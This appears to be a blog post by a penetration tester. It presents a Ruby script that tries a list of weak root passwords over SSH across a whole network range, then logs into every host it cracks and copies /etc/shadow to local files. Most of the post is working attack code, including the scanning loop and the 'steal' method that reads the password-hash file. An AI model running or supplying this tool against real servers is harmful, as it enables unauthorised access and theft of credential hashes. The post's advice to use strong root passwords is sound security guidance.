Exploiting SSH weak passwords the ruby way

Even before starting writing complex input filters to manage your users’ input, you must care about the password you use on your servers. If they are poor, no application security on Earth would save you against a break-in.

Scenario

You are pentesting your customer’s network. A lot of servers are answering to SSH protocol in order to allow remote management. No problem with this, of course you may want to deal with remote management also using some identity and access management product in order to centralize admin login and to have a truly random root password on each server.

There are some well known passwords every not-so-security-aware sysadmin would use to protect root account:

  • God
  • Sex
  • Password
  • root
  • 12345
  • 1q2w3e4r

I’m not jocking. They are still here. People still use weak passwords since they are quick to memorize and to type on the keyboard.

The funny bit here is that most of time is spent by root to be idle looking at the ls -l command output. Grin.

Do you need a very quick script to check for root default credentials? I’ll give you one I wrote and that I found useful in a lot of security assessments.

Implementation

What we need here is to connect to a given host on a given port using the SSH protocol. Our script must be flexible enough to accept an arbitrary host and also arbitrary ports. System administrators may have changed SSH default port to their server, so we would parameterize it instead of hardcoding “22” in our script. We need also a way to manage IP addresses notation, in order to scan whole networks without specifying every single host.

We’re lucky enough, all we need is on standard library. We just want to install the net-ssh ruby gem.

$ gem install net-ssh

Our script would read a config file for target SSH ports and trivial password to use. We won’t code an ssh bruteforcer, we just want to check if some hosts in the environment have very trivial password values for root account.

``` ruby a very basic read_conf method require ‘yaml’

def self.read_conf(conf_file=nil)

(conf_file.nil?)? file=’./ssh_takedown.yaml’ : file=conf_file (File.exists?(file))? config = YAML.load_file(file) : config = {“config”=>{“ports_to_scan”=>”22”, “password_list”=>”root,password”}}

config end

A basic configuration file…

#

config:

ports_to_scan: “22,2022,3022”

password_list: “God,sex,xxx,Password,root,12345,1q2w3e4r”

… and its usage…

#

1.9.3-p194 :009 > require ‘yaml’

=> true

1.9.3-p194 :010 > read_conf(“./con.yaml”)

=> {“config”=>{“ports_to_scan”=>”22,2022,3022”, “password_list”=>”God,sex,xxx,Password,root,12345,1q2w3e4r”}}

1.9.3-p194 :013 > ports = conf[“config”][“ports_to_scan”].split(‘,’)

=> [“22”, “2022”, “3022”]


Starting from ruby 1.9 there is a great class in the standard library taking
care of all the stuff about ip addresses.
The idea here is to use this standard library class to manage how inputs in
term of VLANs.

The to_range method helps us in create a list of single host IPAddr classes
that can be used in a loop.

``` ruby the ipaddr facility 
require 'ipaddr'

net = IPAddr.new("192.168.1.0/24")
net.to_range # => #<IPAddr: IPv4:192.168.1.0/255.255.255.0>..#<IPAddr: IPv4:192.168.1.255/255.255.255.0>
net.to_range.count # => 256

Our main class would take config values, splits the comma separated options and be ready for the takeover.

``` ruby Codesake::SSH::Takedown class

require ‘ipaddr’ require ‘net/ssh’

module Codesake module SSH class Takedown

  attr_reader :ports
  attr_reader :passwds
  attr_reader :target
  attr_reader :results

  def initialize(target, config)
    @ports = conf_to_ports(config)
    @passwds = conf_to_passwds(config)
    @target = target
  end

  def analyse
    @results = []


    @target.to_range.each do |host|
      @passwds.each do |pass|
        @ports.each do |port|
          @results << {:host=>host.to_s, :port=>port, :pass=>pass} if connect(host.to_s, port, pass)
        end
      end
    end  
    @results
  end

  def takedown
    @results.each do |result|
      steal(result[:host], result[:port], result[:password])
    end
  end
  
  private 

  def steal(host, port, password)
   begin
      ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
      data = ssh.exec!("cat /etc/shadow")
      f_d = File.new(host+"_shadow", "w") 
      f_d.write(data)
      f_d.close
      ssh.close
      ret = true
    rescue => e
      ret = false
    end
    ret
  end

  def connect(host, port, password) 
    begin
      ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
      ssh.close
      ret = true
    rescue => e
      ret = false
    end

  end 
  
  def conf_to_ports(config)
    config["config"]["ports_to_scan"].split(',')
  end

  def conf_to_passwds(config)
    config["config"]["password_list"].split(',')
  end
  
end   end end

Now you can glue pieces together.


``` ruby a ssh weak passwords detect script... you can star from here and improve it to fit best your needs
require 'yaml'
require 'ipaddr'

# defaulting values here
conf = Codesake::Config.read_conf
net = ARGV[0]

Kernel.exit(-1) if net.nil? or net.empty?

ips  =IPAddr.new(net)
engine = Codesale::SSH::Takedown.new(ips, conf)
results = engine.analyse
  
# steal /etc/shadow
engine.takedown

Now we can call this script specifying networks in the CIDR notation and having shadow files to be saved in the current directory.

Off by one

Security starts from protecting your hosts with strong passwords for super user account. Period. No matter how good is your web code, if you leave the main door opened, your data are compromised as well as your code is suffering by SQL Injections.

Now, an announcement. Next April I’ll talk at Railsberry 2013 on about using ruby in a deep web application penetration test. It would be a great conference and I’m very excited about being part of it. There will be a lot of great software engineer… I hope they’ll love some security rants :)

comments powered by Disqus